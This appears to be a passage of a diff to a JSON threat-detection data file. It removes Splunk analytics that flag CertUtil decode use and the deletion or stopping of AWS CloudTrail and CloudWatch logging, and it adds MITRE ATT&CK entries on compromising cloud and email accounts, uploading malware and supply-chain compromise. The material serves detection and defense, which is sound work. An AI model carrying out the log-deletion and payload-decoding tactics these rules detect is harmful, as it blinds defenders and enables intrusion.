(EDR) agents, focusing on command-line executions involving CertUtil.exe. This activity is significant because attackers often use CertUtil to decode malicious files downloaded from the internet, which are then executed to compromise the system. If confirmed malicious, this activity could lead to unauthorized code execution, further system compromise, and potential data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_certutil` Processes.process=*decode* by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `certutil_with_decode_argument_filter`", - "tags": { - "analytic_story": [ - "APT29 Diplomatic Deceptions with WINELOADER", - "Deobfuscate-Decode Files or Information", - "Forest Blizzard", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to decode a file.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1140", - "mitre_attack_technique": "Deobfuscate/Decode Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT39", - "BRONZE BUTLER", - "Cinnamon Tempest", - "Darkhotel", - "Earth Lusca", - "FIN13", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Malteiro", - "Molerats", - "MuddyWater", - "OilRig", - "Rocke", - "Sandworm Team", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "WIRTE", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -247940,19568 +190115,1233 @@ "https://aws.amazon.com", "https://azure.microsoft.com/en-us/services/" ] + } + ], + "external_reference": [ + [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" + ], + [ + "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" + ], + [ + "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" + ], + [ + "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" + ], + [ + "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" + ], + [ + "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" + ], + [ + "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" + ], + [ + "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" + ], + [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ], + [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ], + [ + "https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications", + "https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/" + ], + [ + "https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications", + "https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/" + ], + [ + "https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications", + "https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/" + ], + [ + "https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications", + "https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/" + ], + [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7", + "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", + "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal" + ], + [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7", + "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", + "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal" + ], + [ + "https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html" + ], + [ + "https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html" + ], + [ + "https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html" + ], + [ + "https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html" + ], + [ + "https://aws.amazon.com", + "https://azure.microsoft.com/en-us/services/" + ], + [ + "https://aws.amazon.com", + "https://azure.microsoft.com/en-us/services/" + ] + ], + "controls": [], + "x_mitre_network_requirements": false, + "technique_id": "T1562", + "stix": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529" + }, + { + "id": "attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a", + "name": "Cloud Accounts", + "created": "2022-05-27T14:30:01.904Z", + "modified": "2022-10-21T14:21:57.991Z", + "type": "attack-pattern", + "x_mitre_data_sources": [], + "x_mitre_contributors": [ + "Francesco Bigarella" + ], + "x_mitre_impact_type": [], + "x_mitre_deprecated": false, + "x_mitre_effective_permissions": [], + "x_mitre_remote_support": false, + "x_mitre_permissions_required": [], + "x_mitre_is_subtechnique": true, + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).", + "x_mitre_defense_bypassed": [], + "x_mitre_system_requirements": [], + "x_mitre_attack_spec_version": "2.1.0", + "revoked": false, + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1586/003", + "external_id": "T1586.003", + "description": "" }, { - "name": "ASL AWS Defense Evasion Delete Cloudtrail", - "description": "The following analytic detects AWS `DeleteTrail` events within CloudTrail logs. It leverages Amazon Security Lake logs parsed in the Open Cybersecurity Schema Framework (OCSF) format to identify when a CloudTrail is deleted. This activity is significant because adversaries may delete CloudTrail logs to evade detection and operate with stealth. If confirmed malicious, this action could allow attackers to cover their tracks, making it difficult to trace their activities and investigate other potential compromises within the AWS environment.", - "search": "`amazon_security_lake` api.operation=DeleteTrail | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `asl_aws_defense_evasion_delete_cloudtrail_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has deleted a CloudTrail logging for account id $aws_account_id$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "Awake Security C2 Cloud", + "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/", + "external_id": "", + "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022." }, { - "name": "ASL AWS Defense Evasion Delete CloudWatch Log Group", - "description": "The following analytic detects the deletion of CloudWatch log groups in AWS, identified through `DeleteLogGroup` events in CloudTrail logs. This method leverages Amazon Security Lake logs parsed in the OCSF format. The activity is significant because attackers may delete log groups to evade detection and disrupt logging capabilities, hindering incident response efforts. If confirmed malicious, this action could allow attackers to cover their tracks, making it difficult to trace their activities and potentially leading to undetected data breaches or further malicious actions within the compromised AWS environment.", - "search": "`amazon_security_lake` api.operation=DeleteLogGroup | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `asl_aws_defense_evasion_delete_cloudwatch_log_group_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has deleted a CloudWatch logging group for account id $aws_account_id$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } + "source_name": "MSTIC Nobelium Oct 2021", + "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/", + "external_id": "", + "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022." + } + ], + "x_mitre_detectable_by_common_defenses": "", + "x_mitre_detectable_by_common_defenses_explanation": "", + "x_mitre_difficulty_for_adversary": "", + "x_mitre_difficulty_for_adversary_explanation": "", + "x_mitre_old_attack_id": "", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_tactic_type": [], + "x_mitre_version": "1.0", + "description": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "command_list": [], + "commands": [], + "queries": [], + "parsed_datasets": [], + "possible_detections": [], + "external_reference": [], + "controls": [], + "x_mitre_network_requirements": false, + "technique_id": "T1586.003", + "stix": "attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a" + }, + { + "id": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", + "name": "Email Accounts", + "created": "2020-10-01T01:20:53.104Z", + "modified": "2023-04-11T01:07:48.218Z", + "type": "attack-pattern", + "x_mitre_data_sources": [], + "x_mitre_contributors": [ + "Tristan Bennett, Seamless Intelligence", + "Bryan Onel" + ], + "x_mitre_impact_type": [], + "x_mitre_deprecated": false, + "x_mitre_effective_permissions": [], + "x_mitre_remote_support": false, + "x_mitre_permissions_required": [], + "x_mitre_is_subtechnique": true, + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "x_mitre_defense_bypassed": [], + "x_mitre_system_requirements": [], + "x_mitre_attack_spec_version": "3.1.0", + "revoked": false, + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1586/002", + "external_id": "T1586.002", + "description": "" }, { - "name": "ASL AWS Defense Evasion Impair Security Services", - "description": "The following analytic detects the deletion of critical AWS Security Services configurations, such as CloudWatch alarms, GuardDuty detectors, and Web Application Firewall rules. It leverages Amazon Security Lake logs to identify specific API calls like \"DeleteLogStream\" and \"DeleteDetector.\" This activity is significant because adversaries often use these actions to disable security monitoring and evade detection. If confirmed malicious, this could allow attackers to operate undetected, leading to potential data breaches, unauthorized access, and prolonged persistence within the AWS environment.", - "search": "`amazon_security_lake` api.operation IN (\"DeleteLogStream\",\"DeleteDetector\",\"DeleteIPSet\",\"DeleteWebACL\",\"DeleteRule\",\"DeleteRuleGroup\",\"DeleteLoggingConfiguration\",\"DeleteAlarms\") | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_defense_evasion_impair_security_services_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has made potentially risky api calls $api.operation$ that could impair AWS security services for account id $aws_account_id$", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "AnonHBGary", + "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/", + "external_id": "", + "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017." }, { - "name": "ASL AWS Defense Evasion Stop Logging Cloudtrail", - "description": "The following analytic detects `StopLogging` events within AWS CloudTrail logs, a critical action that adversaries may use to evade detection. By halting the logging of their malicious activities, attackers aim to operate undetected within a compromised AWS environment. This detection is achieved by monitoring for specific CloudTrail log entries that indicate the cessation of logging activities. Identifying such behavior is crucial for a Security Operations Center (SOC), as it signals an attempt to undermine the integrity of logging mechanisms, potentially allowing malicious activities to proceed without observation. The impact of this evasion tactic is significant, as it can severely hamper incident response and forensic investigations by obscuring the attacker's actions.", - "search": "`amazon_security_lake` api.operation=StopLogging | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `asl_aws_defense_evasion_stop_logging_cloudtrail_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has stopped Cloudtrail logging for account id $aws_account_id$ from IP $src_ip$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "Microsoft DEV-0537", + "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", + "external_id": "", + "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022." + } + ], + "x_mitre_detectable_by_common_defenses": "", + "x_mitre_detectable_by_common_defenses_explanation": "", + "x_mitre_difficulty_for_adversary": "", + "x_mitre_difficulty_for_adversary_explanation": "", + "x_mitre_old_attack_id": "", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_tactic_type": [], + "x_mitre_version": "1.1", + "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "command_list": [], + "commands": [], + "queries": [], + "parsed_datasets": [], + "possible_detections": [ + { + "technique_id": "T1586.002", + "x_mitre_is_subtechnique": true, + "technique": "Email Accounts", + "tactic": [ + "resource-development" + ], + "platform": [ + "PRE" + ] + } + ], + "external_reference": [], + "controls": [], + "x_mitre_network_requirements": false, + "technique_id": "T1586.002", + "stix": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b" + }, + { + "id": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", + "name": "Upload Malware", + "created": "2021-03-17T20:09:13.222Z", + "modified": "2023-04-11T23:22:49.534Z", + "type": "attack-pattern", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_contributors": [ + "Kobi Haimovich, CardinalOps", + "Goldstein Menachem" + ], + "x_mitre_impact_type": [], + "x_mitre_deprecated": false, + "x_mitre_effective_permissions": [], + "x_mitre_remote_support": false, + "x_mitre_permissions_required": [], + "x_mitre_is_subtechnique": true, + "x_mitre_detection": "If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).", + "x_mitre_defense_bypassed": [], + "x_mitre_system_requirements": [], + "x_mitre_attack_spec_version": "3.1.0", + "revoked": false, + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1608/001", + "external_id": "T1608.001", + "description": "" }, { - "name": "ASL AWS Defense Evasion Update Cloudtrail", - "description": "The following analytic detects `UpdateTrail` events within AWS CloudTrail logs, aiming to identify attempts by attackers to evade detection by altering logging configurations. By updating CloudTrail settings with incorrect parameters, such as changing multi-regional logging to a single region, attackers can impair the logging of their activities across other regions. This behavior is crucial for Security Operations Centers (SOCs) to identify, as it indicates an adversary's intent to operate undetected within a compromised AWS environment. The impact of such evasion tactics is significant, potentially allowing malicious activities to proceed without being logged, thereby hindering incident response and forensic investigations.", - "search": "`amazon_security_lake` api.operation=UpdateTrail | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `asl_aws_defense_evasion_update_cloudtrail_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has updated a cloudtrail logging for account id $aws_account_id$ from IP $src_ip$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } + "source_name": "Volexity Ocean Lotus November 2020", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "external_id": "", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020." }, { - "name": "AWS Defense Evasion Delete Cloudtrail", - "description": "The following analytic detects the deletion of AWS CloudTrail logs by identifying `DeleteTrail` events within CloudTrail logs. This detection leverages CloudTrail data to monitor for successful `DeleteTrail` actions, excluding those initiated from the AWS console. This activity is significant because adversaries may delete CloudTrail logs to evade detection and operate stealthily within the compromised environment. If confirmed malicious, this action could allow attackers to cover their tracks, making it difficult to trace their activities and potentially leading to prolonged unauthorized access and further exploitation.", - "search": "`cloudtrail` eventName = DeleteTrail eventSource = cloudtrail.amazonaws.com userAgent !=console.amazonaws.com errorCode = success| stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.name) as deleted_cloudtrail_name by src region eventName userAgent user_arn aws_account_id | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `aws_defense_evasion_delete_cloudtrail_filter`", - "tags": { - "analytic_story": [ - "AWS Defense Evasion" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has delete a CloudTrail logging for account id $aws_account_id$ from IP $src$", - "risk_score": 90, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.008", - "mitre_attack_technique": "Disable or Modify Cloud Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "Talos IPFS 2022", + "url": "https://blog.talosintelligence.com/ipfs-abuse/", + "external_id": "", + "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023." + } + ], + "x_mitre_detectable_by_common_defenses": "", + "x_mitre_detectable_by_common_defenses_explanation": "", + "x_mitre_difficulty_for_adversary": "", + "x_mitre_difficulty_for_adversary_explanation": "", + "x_mitre_old_attack_id": "", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_tactic_type": [], + "x_mitre_version": "1.2", + "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "command_list": [], + "commands": [], + "queries": [], + "parsed_datasets": [], + "possible_detections": [ + { + "technique_id": "T1608.001", + "x_mitre_is_subtechnique": true, + "technique": "Upload Malware", + "tactic": [ + "resource-development" + ], + "platform": [ + "PRE" + ] + } + ], + "external_reference": [], + "controls": [], + "x_mitre_network_requirements": false, + "technique_id": "T1608.001", + "stix": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e" + }, + { + "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "name": "Supply Chain Compromise", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2024-02-26T14:23:37.009Z", + "type": "attack-pattern", + "x_mitre_data_sources": [ + "Sensor Health: Host Status", + "File: File Metadata" + ], + "x_mitre_contributors": [ + "Veeral Patel" + ], + "x_mitre_impact_type": [], + "x_mitre_deprecated": false, + "x_mitre_effective_permissions": [], + "x_mitre_remote_support": false, + "x_mitre_permissions_required": [], + "x_mitre_is_subtechnique": false, + "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.", + "x_mitre_defense_bypassed": [], + "x_mitre_system_requirements": [], + "x_mitre_attack_spec_version": "3.2.0", + "revoked": false, + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1195", + "external_id": "T1195", + "description": "" }, { - "name": "AWS Defense Evasion Delete CloudWatch Log Group", - "description": "The following analytic detects the deletion of CloudWatch log groups in AWS, identified through `DeleteLogGroup` events in CloudTrail logs. This detection leverages CloudTrail data to monitor for successful log group deletions, excluding console-based actions. This activity 